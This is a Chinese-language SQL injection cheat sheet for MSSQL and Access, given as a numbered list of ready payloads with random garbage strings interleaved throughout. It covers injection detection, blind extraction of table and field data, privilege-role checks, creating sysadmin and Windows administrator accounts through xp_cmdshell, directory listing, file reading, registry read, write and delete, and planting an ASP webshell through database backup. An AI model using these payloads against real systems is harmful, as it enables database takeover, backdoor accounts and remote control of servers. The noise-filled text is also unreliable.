1.判断是否有注入;and 1=1 ;and 1=2 _Vt9ckaA
2.初步判断是否是mssql ;and user>0 }&s |~
)MoHY
3.注入参数是字符'and [查询条件] and ''=' :iQJ9Hdz
<1x u&Z7
4.搜索时没过滤参数的'and [查询条件] and '%25'=' :8N
by$#V
w6lx&K-
5.判断数据库系统 ^Mhh2v
L7xiq{t`Y
;and (select count(*) from sysobjects)>0 mssql 9j-;-`$S
M9~'dS'XI
;and (select count(*) from msysobjects)>0 access R]>0A3P
d:cOdm>,
A%&lW9z7
~rXLb:
6.猜数据库 ;and (select Count(*) from [数据库名])>0 4[%_Bnv#AJ
LRS,bl3}/
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 KRP6b:+4L
2'Kh>c2
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 qM3(OvCt
)`gxaT>&l
9.(1)猜字段的ascii值(access) eE\T,u5:
KMl3`+i
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ]S@DVXH
t)O]0)
s
(2)猜字段的ascii值(mssql) 'b >3:&
3{ea~G)[9
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 I-kK^_0mV<
j~9Y0jz_
10.测试权限结构(mssql) }y(cv}8Y
c0X1})q$
c2s73iz
]a*26AbU+
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 20Jlf?
rCA0c8
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ICG:4n(,
pk;S"cnk
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- GQjU="+
m>!o
Yy_
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- c@j3L23B
6vU%Y_n=y]
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ;{e'q?Y
tm_\(
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 91fZr
F<*zL:-Z
;and 1=(select IS_MEMBER('db_owner'));-- /:,}hy+U
QMDkkNK
s~5rP:
P.^*K:5@
11.添加mssql和系统的帐户 %_>8.7
^0(D2:E
;exec master.dbo.sp_addlogin username;-- g]?>6 %#rA
;exec master.dbo.sp_password null,username,password;-- ,d^H Ag^j
<<@F{B7h
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- /7.//klN
+*eVi3
;exec master.dbo.xp_cmdshell 'net user username password 9%MgA ik(
$}0\sj%
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- yVpru8+eD
|gT8 QP
;exec master.dbo.xp_cmdshell 'net user username password /add';-- R"z}q(O:
(~"#=fs.L
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- UZ:z|a3
i0?/\@gd
#.,LWL]
$L ]M3$\9
12.(1)遍历目录 Y%zWaH
I}}>M#
;create table dirs(paths varchar(100), id int) }`76yH^c
Wk
}}f|O0
;insert dirs exec master.dbo.xp_dirtree 'c:\' .^ba*qb`{
85A7YraL
;and (select top 1 paths from dirs)>0 c;#gvE
W}Rzn
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) UMPW<>z
CRNt5T>qH
'@^mesMG
\r3SvBwhFv
(2)遍历目录 cF"}}c1*M
4#B56f8
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- wkJ@#jD*[
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 (7??5gjh
sv6m)pwh
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
LGYg@DR
cCG!X%9
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
B,ao%3t
6_;n bqY&
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 [mG!-.ll
'PTQ
S,E
2f rwU~y
| `?J2WGe
13.mssql中的存储过程 @ykl:K%ke
Nr*o
RYY
xp_regenumvalues 注册表根键, 子键 ~svea>Fmr
?ihRt+eR~
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 S++jwP
d^5x@E_Td
xp_regread 根键,子键,键值名 mWMtz]M}
"|E'E"_1
;exec xp_regread gBXoEn]
{!1RlW
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ''p<C)Q
aZq7(pen
xp_regwrite 根键,子键, 值名, 值类型, 值 xo!2GPD.
Y7')~C`up^
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 wf^p?=Ke
12tAx3p
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 IGA4"\s
]r\!Z
<<(
xp_regdeletevalue 根键,子键,值名 '*G8;91u
JL7;l0#
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 'sa>G
YQR[0Y&e=
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ]na$n[T/I
Z dT-
py wc~dWvz
:8A@4vMS)?
14.mssql的backup创建webshell {WTy/$ Qk
xg'xuz$U
use model zu,Yuq
l4&
l)4Rx
create table cmd(str image); .OlPVMFt
R I:kp.V
insert into cmd(str) values (''); }LoMS<O-[
34J*<B[Njo
backup database model to disk='c:\l.asp'; }V 4u`=
5>VX]nE3!
Z4sS;k]}
G#1W":|`
15.mssql内置函数 "EZpTy}Ee
D8WKy
;and (select @@version)>0 获得Windows的版本号 p&
Kfy~
|z0% q2(
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
cG1iO:
^W~8)Rbf
;and (select user_name())>0 爆当前系统的连接用户 VU+=b+B~m
&_\;p-1:
;and (select db_name())>0 得到当前连接的数据库 mH)8A+us
&